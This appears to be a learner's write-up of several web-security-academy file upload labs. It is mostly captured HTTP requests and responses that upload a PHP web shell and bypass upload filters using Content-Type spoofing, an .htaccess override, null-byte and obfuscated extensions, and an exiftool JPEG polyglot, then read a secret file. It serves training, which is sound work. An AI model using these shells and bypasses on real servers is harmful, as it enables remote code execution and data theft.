

Content-Type

## Lab: Remote code execution via web shell upload

APPRENTICE

LAB

✓ Solved

This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.


You can log in to your own account using the following credentials: `wiener:peter`

# My Account

Your username is: wiener

Email

Update email



Avatar:

No file chosen

Upload

## Request

```
1 POST /my-account/avatar HTTP/2
2 Host: 0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net
3 Cookie: session=0rtvbNC5qxawHyreXmMuDqjNj fpb4dbj
4 Content-Length: 441
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Linux"
9 Accept-Language: en-US,en;q=0.9
10 Origin: https://0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net
11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQvmzMnW8fqQ1vny
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/130.0.6723.70 Safari/537.36
14 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net/my-account?id=wiener
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 -----WebKitFormBoundaryQvmzMnW8fqQ1vny
24 Content-Disposition: form-data; name="avatar"; filename="cmd.php"
25 Content-Type: application/x-php
26
27 <?php system($_GET['cmd']); ?>
28
29 -----WebKitFormBoundaryQvmzMnW8fqQ1vny
30 Content-Disposition: form-data; name="user"
31
32 wiener
33 -----WebKitFormBoundaryQvmzMnW8fqQ1vny
34 Content-Disposition: form-data; name="csrf"
35
36 8ihHmASwhwLtd5FpXSLk1lCWg4771U20
37 -----WebKitFormBoundaryQvmzMnW8fqQ1vny--
38
```

## Response

```
1 HTTP/2 200 OK
2 Date: Thu, 21 Nov 2024 19:40:47 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Vary: Accept-Encoding
5 Content-Type: text/html; charset=UTF-8
6 X-Frame-Options: SAMEORIGIN
7 Content-Length: 128
8
9 The file avatars/cmd.php has been uploaded.<p>
    <a href="/my-account" title="Return to previous page">
      « Back to My Account
    </a>
</p>
```

```
<form class=login-form id=avatar-upload-form action="/my-account/avatar" method=POST enctype="multipart/form-data">
  <p>
    
  </p>
  <label>Avatar:</label>
  <input type=file name=avatar>
  <input type=hidden name=user value=wiener />
  <input required type="hidden" name="csrf" value="6gMwu2S0Sq2iw0lx0JquWtPCZF71vmSC">
  <button class=button type=submit>Upload</button>
</form>
```

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /files/avatars/cmd.php?cmd=pwd HTTP/2 2 Host: 0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net 3 Cookie: session=0rtvbNC5qxawHyreXmMuDqjNj fpb4dbj 4 Content-Length: 441 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net 11 Content-Type: multipart/form-data; boundary=---WebKitFormBoundarywQvmzMnW8fqQlvny 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundarywQvmzMnW8fqQlvny 24 Content-Disposition: form-data; name="avatar"; filename="cmd.php" 25 Content-Type: application/x-php 26 27 &lt;?php system(\$_GET['cmd']); ?&gt; 28 29 -----WebKitFormBoundarywQvmzMnW8fqQlvny 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundarywQvmzMnW8fqQlvny 34 Content-Disposition: form-data; name="csrf" 35 36 8ihHmASwhw!td5FpXSLk1lCWg4771U20 37 -----WebKitFormBoundarywQvmzMnW8fqQlvny-- 38</pre>				<pre>1 HTTP/2 200 OK 2 Date: Thu, 21 Nov 2024 19:43:31 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Content-Type: text/html; charset=UTF-8 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 22 7 8 /var/www/html/avatars 9</pre>			

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /files/avatars/cmd.php?cmd=cat+/home/carlos/secret HTTP/2 2 Host: 0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net 3 Cookie: session=0rtvbNC5qxawHyreXmMuDqjNj fpb4dbj 4 Content-Length: 441 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net 11 Content-Type: multipart/form-data; boundary=---WebKitFormBoundarywQvmzMnW8fqQlvny 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0a5000b0046b2c3681814d5d000c00f2.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundarywQvmzMnW8fqQlvny 24 Content-Disposition: form-data; name="avatar"; filename="cmd.php" 25 Content-Type: application/x-php 26 27 &lt;?php system(\$_GET['cmd']); ?&gt; 28 29 -----WebKitFormBoundarywQvmzMnW8fqQlvny 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundarywQvmzMnW8fqQlvny 34 Content-Disposition: form-data; name="csrf" 35 36 8ihHmASwhw!td5FpXSLk1lCWg4771U20 37 -----WebKitFormBoundarywQvmzMnW8fqQlvny-- 38</pre>				<pre>1 HTTP/2 200 OK 2 Date: Thu, 21 Nov 2024 19:44:19 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Content-Type: text/html; charset=UTF-8 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 32 7 8 z0bcxyqaNcScNCpzTd4Bz1G1xbsDK50tI</pre>			

# Lab: Web shell upload via Content-Type restriction bypass

APPRENTICE

LAB Solved

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret` . Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

← → ↻ 🏠

🔒 <https://0a9b003f03a090158343f6bb007300d7.web-security-academy.net/my-account/avatar>

Sorry, file type application/x-php is not allowed Only image/jpeg and image/png are allowed Sorry, there was an error uploading your file.

[🔗 Back to My Account](#)

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /files/avatars/cmd.php?cmd=cat+/home/carlos/secret HTTP/2 2 Host: 0a9b003f03a090158343f6bb007300d7.web-security-academy.net 3 Cookie: session=hxVN84TPH533nrgWN0zh9QxuMLYTX1DT 4 Content-Length: 433 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://0a9b003f03a090158343f6bb007300d7.web-security-academy.net 11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeW1JkXhulcfgiGUK 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0a9b003f03a090158343f6bb007300d7.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundaryeW1JkXhulcfgiGUK 24 Content-Disposition: form-data; name="avatar"; filename="cmd.php" 25 Content-Type: image/png 26 27 &lt;?php system(\$_GET['cmd']); ?&gt; 28 29 -----WebKitFormBoundaryeW1JkXhulcfgiGUK 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundaryeW1JkXhulcfgiGUK 34 Content-Disposition: form-data; name="csrf" 35 36 y9S4uSLvCNZsGDneOpoe0iTcuaMt64dA 37 -----WebKitFormBoundaryeW1JkXhulcfgiGUK-- 38</pre>				<pre>1 HTTP/2 200 OK 2 Date: Thu, 21 Nov 2024 19:51:38 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Content-Type: text/html; charset=UTF-8 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 32 7 8 RIsebaGquIB9n7hNzGT3PAAtqRa0yQGUP</pre>			

GET /static/exploit.php?command=id HTTP/1.1 Host: normal-website.com HTTP/1.1 200 OK

Content-Type: text/plain Content-Length: 39 <?php echo system(\$\_GET['command']); ?>

filename

multipart/form-data

# Lab: Web shell upload via path traversal

PRACTITIONER



LAB



Solved

This lab contains a vulnerable image upload function. The server is configured to prevent execution of user-supplied files, but this restriction can be bypassed by exploiting a secondary vulnerability.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret` . Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

← → ↺ 🏠 <https://0aeb00fd04c854c78149986500370025.web-security-academy.net/my-account/avatar>

The file avatars/cmd.php has been uploaded.

[🔗 Back to My Account](#)

<https://0aeb00fd04c854c78149986500370025.web-security-academy.net/files/avatars/cmd.php?cmd=ls>

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
<pre>1 GET /files/cmd.php?cmd=cat+/home/carlos/secret HTTP/2 2 Host: 0aeb00fd04c854c78149986500370025.web-security-academy.net 3 Cookie: session=SmCovOPksdKLQPMDBiYWCctKbqbInFYD 4 Content-Length: 441 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://0aeb00fd04c854c78149986500370025.web-security-academy.net 11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySp78BWyt5b1lAzyk 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)     Chrome/130.0.6723.70 Safari/537.36 14 Accept:     text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0aeb00fd04c854c78149986500370025.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundarySp78BWyt5b1lAzyk 24 Content-Disposition: form-data; name="avatar"; filename="cmd.php" 25 Content-Type: application/x-php 26 27 &lt;?php system(\$_GET['cmd']); ?&gt; 28 29 -----WebKitFormBoundarySp78BWyt5b1lAzyk 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundarySp78BWyt5b1lAzyk 34 Content-Disposition: form-data; name="csrf" 35 36 G0o9QeY8TneS2skqRG2dpWluzTd93fUX 37 -----WebKitFormBoundarySp78BWyt5b1lAzyk--</pre>					<pre>1 HTTP/2 200 OK 2 Date: Thu, 21 Nov 2024 20:04:33 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Content-Type: text/html; charset=UTF-8 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 32 7 8 rJ2VM1xu6zuYCPNJzb3qebmndHkMhRCP</pre>				

.php

.php5

.shtml

.htaccess

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /my-account/avatar HTTP/2 2 Host: 0a15008804fe48ec81cd663100260001.web-security-academy.net 3 Cookie: session=HwAE7J0t5gVEQqT0uLJHSfEVwzncNmMb 4 Content-Length: 443 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://0a15008804fe48ec81cd663100260001.web-security-academy.net 11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCeo0UXQ6krrYbsKo 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0a15008804fe48ec81cd663100260001.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo 24 Content-Disposition: form-data; name="avatar"; filename=".htaccess" 25 Content-Type: text/plain 26 27 AppType application/x-httpd-php .php2 28 29 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo 34 Content-Disposition: form-data; name="csrf" 35 36 lvarBAWscHR0Z0o0UGKef7enSgo8VHI5 37 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo-- 38</pre>				<pre>1 HTTP/2 200 OK 2 Date: Thu, 21 Nov 2024 20:13:41 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Vary: Accept-Encoding 5 Content-Type: text/html; charset=UTF-8 6 X-Frame-Options: SAMEORIGIN 7 Content-Length: 130 8 9 The file avatars/.htaccess has been uploaded.&lt;p&gt;   &lt;a href="/my-account" title="Return to previous page"&gt;     « Back to My Account   &lt;/a&gt; &lt;/p&gt;</pre>			

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /my-account/avatar HTTP/2 2 Host: 0a15008804fe48ec81cd663100260001.web-security-academy.net 3 Cookie: session=HwAE7J0t5gVEQqT0uLJHSfEVwzncNmMb 4 Content-Length: 442 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://0a15008804fe48ec81cd663100260001.web-security-academy.net 11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCeo0UXQ6krrYbsKo 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0a15008804fe48ec81cd663100260001.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo 24 Content-Disposition: form-data; name="avatar"; filename="cmd.php2" 25 Content-Type: application/x-php 26 27 &lt;?php system(\$_GET['cmd']); ?&gt; 28 29 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo 34 Content-Disposition: form-data; name="csrf" 35 36 lvarBAWscHR0Z0o0UGKef7enSgo8VHI5 37 -----WebKitFormBoundaryCeo0UXQ6krrYbsKo-- 38</pre>				<pre>1 HTTP/2 200 OK 2 Date: Thu, 21 Nov 2024 20:15:59 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Vary: Accept-Encoding 5 Content-Type: text/html; charset=UTF-8 6 X-Frame-Options: SAMEORIGIN 7 Content-Length: 129 8 9 The file avatars/cmd.php2 has been uploaded.&lt;p&gt;   &lt;a href="/my-account" title="Return to previous page"&gt;     « Back to My Account   &lt;/a&gt; &lt;/p&gt;</pre>			

Request	
Pretty	RawHex
<div><div>1GET /files/avatars/cmd.php?cmd=pwd HTTP/2</div><div>2Host: 0a26003e0360d0d4830c2efe001a0062.web-security-academy.net</div><div>3Cookie: session=zUEdBVBdLk6i2nfBKNMrzrQrj80yiVGk</div><div>4Content-Length: 442</div><div>5Cache-Control: max-age=0</div><div>6Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"</div><div>7Sec-Ch-Ua-Mobile: ?0</div><div>8Sec-Ch-Ua-Platform: "Linux"</div><div>9Accept-Language: en-US,en;q=0.9</div><div>10Origin: https://0a26003e0360d0d4830c2efe001a0062.web-security-academy.net</div><div>11Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryInWbKA56xRGA6nRU</div><div>12Upgrade-Insecure-Requests: 1</div><div>13User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36</div><div>14Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</div><div>15Sec-Fetch-Site: same-origin</div><div>16Sec-Fetch-Mode: navigate</div><div>17Sec-Fetch-User: ?1</div><div>18Sec-Fetch-Dest: document</div><div>19Referer: https://0a26003e0360d0d4830c2efe001a0062.web-security-academy.net/my-account?id=wiener</div><div>20Accept-Encoding: gzip, deflate, br</div><div>21Priority: u=0, i</div></div>	

Response	
Pretty	RawHexRender
<div><div>1HTTP/2 200 OK</div><div>2Date: Fri, 22 Nov 2024 05:31:23 GMT</div><div>3Server: Apache/2.4.41 (Ubuntu)</div><div>4Content-Type: text/html; charset=UTF-8</div><div>5X-Frame-Options: SAMEORIGIN</div><div>6Content-Length: 22</div><div>7</div><div>8/var/www/html/avatars</div><div>9</div></div>	

Request	
Pretty	RawHex
<div><div>1GET /files/avatars/cmd.php?cmd=cat+/home/carlos/secret HTTP/2</div><div>2Host: 0a26003e0360d0d4830c2efe001a0062.web-security-academy.net</div><div>3Cookie: session=zUEdBVBdLk6i2nfBKNMrzrQrj80yiVGk</div><div>4Content-Length: 442</div><div>5Cache-Control: max-age=0</div><div>6Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"</div><div>7Sec-Ch-Ua-Mobile: ?0</div><div>8Sec-Ch-Ua-Platform: "Linux"</div><div>9Accept-Language: en-US,en;q=0.9</div><div>10Origin: https://0a26003e0360d0d4830c2efe001a0062.web-security-academy.net</div><div>11Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryInWbKA56xRGA6nRU</div><div>12Upgrade-Insecure-Requests: 1</div><div>13User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36</div><div>14Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</div><div>15Sec-Fetch-Site: same-origin</div><div>16Sec-Fetch-Mode: navigate</div><div>17Sec-Fetch-User: ?1</div><div>18Sec-Fetch-Dest: document</div><div>19Referer: https://0a26003e0360d0d4830c2efe001a0062.web-security-academy.net/my-account?id=wiener</div><div>20Accept-Encoding: gzip, deflate, br</div><div>21Priority: u=0, i</div></div>	

Response	
Pretty	RawHexRender
<div><div>1HTTP/2 200 OK</div><div>2Date: Fri, 22 Nov 2024 05:32:36 GMT</div><div>3Server: Apache/2.4.41 (Ubuntu)</div><div>4Content-Type: text/html; charset=UTF-8</div><div>5X-Frame-Options: SAMEORIGIN</div><div>6Content-Length: 32</div><div>7</div><div>8p7gCSUHjsady1phZh0Q0xReM6zhX8Cua</div></div>	

# Lab: Web shell upload via extension blacklist bypass

PRACTITIONER

LAB

✓ Solved

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in the configuration of this blacklist.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

.php

exploit.pHp

•

exploit.php.jpg

•

.php

exploit.p.phpphp

# Lab: Web shell upload via obfuscated file extension

PRACTITIONER

LAB

✓ Solved

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`



Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 11/22/2024 5:45:50 AM 2 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-Mode: navigate 17 Sec-Fetch-User: ?1 18 Sec-Fetch-Dest: document 19 Referer: https://0a9d00e803e6838380aa5dff004c00e2.web-security-academy.net/my-account?id=wiener 20 Accept-Encoding: gzip, deflate, br 21 Priority: u=0, i 22 23 -----WebKitFormBoundaryDWY8aR00iCNGfdF9 24 Content-Disposition: form-data; name="avatar"; filename="cmd.php%00.png" 25 Content-Type: image/png 26 27 &lt;?php system(\$_GET['cmd']); ?&gt; 28 29 -----WebKitFormBoundaryDWY8aR00iCNGfdF9 30 Content-Disposition: form-data; name="user" 31 32 wiener 33 -----WebKitFormBoundaryDWY8aR00iCNGfdF9 34 Content-Disposition: form-data; name="csrf" 35 36 rpRjdfe08ThUnNk7Ex3ipT8A0aiY8Jw5 37 -----WebKitFormBoundaryDWY8aR00iCNGfdF9--</pre>		<pre>1 HTTP/2 200 OK 2 Date: Fri, 22 Nov 2024 05:45:50 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Vary: Accept-Encoding 5 Content-Type: text/html; charset=UTF-8 6 X-Frame-Options: SAMEORIGIN 7 Content-Length: 128 8 9 The file avatars/cmd.php has been uploaded.&lt;p&gt;   &lt;a href="/my-account" title="Return to previous page"&gt;     « Back to My Account   &lt;/a&gt; &lt;/p&gt;</pre>	

<pre>GET /files/avatars/cmd.php?cmd=cat+/home/carlos/secret HTTP/2 Host: 0a9d00e803e6838380aa5dff004c00e2.web-security-academy.net Cookie: session=HQs5rTpoPuDemv0Yflw9aDeEP0scyVn7 Content-Length: 440 Cache-Control: max-age=0 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Accept-Language: en-US,en;q=0.9 Origin: https://0a9d00e803e6838380aa5dff004c00e2.web-security-academy.net Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryDWY8aR00iCNGfdF9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0a9d00e803e6838380aa5dff004c00e2.web-security-academy.net/my-account?id=wiener Accept-Encoding: gzip, deflate, br Priority: u=0, i</pre>		<pre>1 HTTP/2 200 OK 2 Date: Fri, 22 Nov 2024 05:47:50 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Content-Type: text/html; charset=UTF-8 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 32 7 8 Ct00qn6cYnAYLvjpnsi7A4rD6nhyNvi</pre>	
---	--	---	--

Content-Type

FF D8 FF

# Lab: Remote code execution via polyglot web shell upload

PRACTITIONER

LAB

✓ Solved

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

```
(scr34tur3@Kali)-[~]  
$ exiftool -Comment="<?php echo 'START ' . system($_GET['cmd']) . ' END'; ?>" image.jpg -o polyglot.php  
1 image files created
```

```
(scr34tur3@Kali)-[~]  
$ exiftool cmdpolygot.php  
ExifTool Version Number      : 13.00  
File Name                    : cmdpolygot.php  
Directory                   : .  
File Size                    : 12 kB  
File Modification Date/Time   : 2024:11:21 18:57:33+03:00  
File Access Date/Time        : 2024:11:21 18:58:09+03:00  
File Inode Change Date/Time   : 2024:11:21 18:57:33+03:00  
File Permissions              : -rw-rw-r--  
File Type                    : JPEG  
File Type Extension           : jpg  
MIME Type                    : image/jpeg  
JFIF Version                  : 1.01  
Resolution Unit               : None  
X Resolution                  : 0  
Y Resolution                  : 0  
Comment                      : <?php echo 'START ' . system($_GET['cmd']) . ' END'; ?>  
Image Width                   : 300  
Image Height                  : 250  
Encoding Process               : Baseline DCT, Huffman coding  
Bits Per Sample                : 8  
Color Components               : 3  
Y Cb Cr Sub Sampling          : YCbCr4:2:0 (2 2)  
Image Size                    : 300x250  
Megapixels                    : 0.075
```

## Request

```
1 GET /files/avatars/polyglot.php?cmd=cat+/home/carlos/secret HTTP/2
2 Host: 0a29001203b5927f80e4674e00b4000b.web-security-academy.net
3 Cookie: session=n29HyiUQ3fgXH9X0BFrJHNZdbMeASADp
4 Content-Length: 12423
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Linux"
9 Accept-Language: en-US,en;q=0.9
10 Origin: https://0a29001203b5927f80e4674e00b4000b.web-security-academy.net
11 Content-Type: multipart/form-data;
    boundary=----WebKitFormBoundaryQi5pJeyWsZaeFjN
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70
    Safari/537.36
14 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
    mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
    0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0a29001203b5927f80e4674e00b4000b.web-security-academy.net/
    my-account?id=wiener
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
```

## Response

```
1 HTTP/2 200 OK
2 Date: Fri, 22 Nov 2024 06:00:34 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Vary: Accept-Encoding
5 Content-Type: text/html; charset=UTF-8
6 X-Frame-Options: SAMEORIGIN
7 Content-Length: 12027
8
9 y0yàJFIÿþ9NK585Y9ReBF2o9a9WAgUU3SfStoTZMUoSTART
    NK585Y9ReBF2o9a9WAgUU3SfStoTZMUo| ENDÿÜC
10
11
12
13
14 yÜC yÄú,"yÄ yÄO !1A"Qa 2q´8Bvj#R±$37FVbÁá&frx56ÑðCES²yÄyÄ$
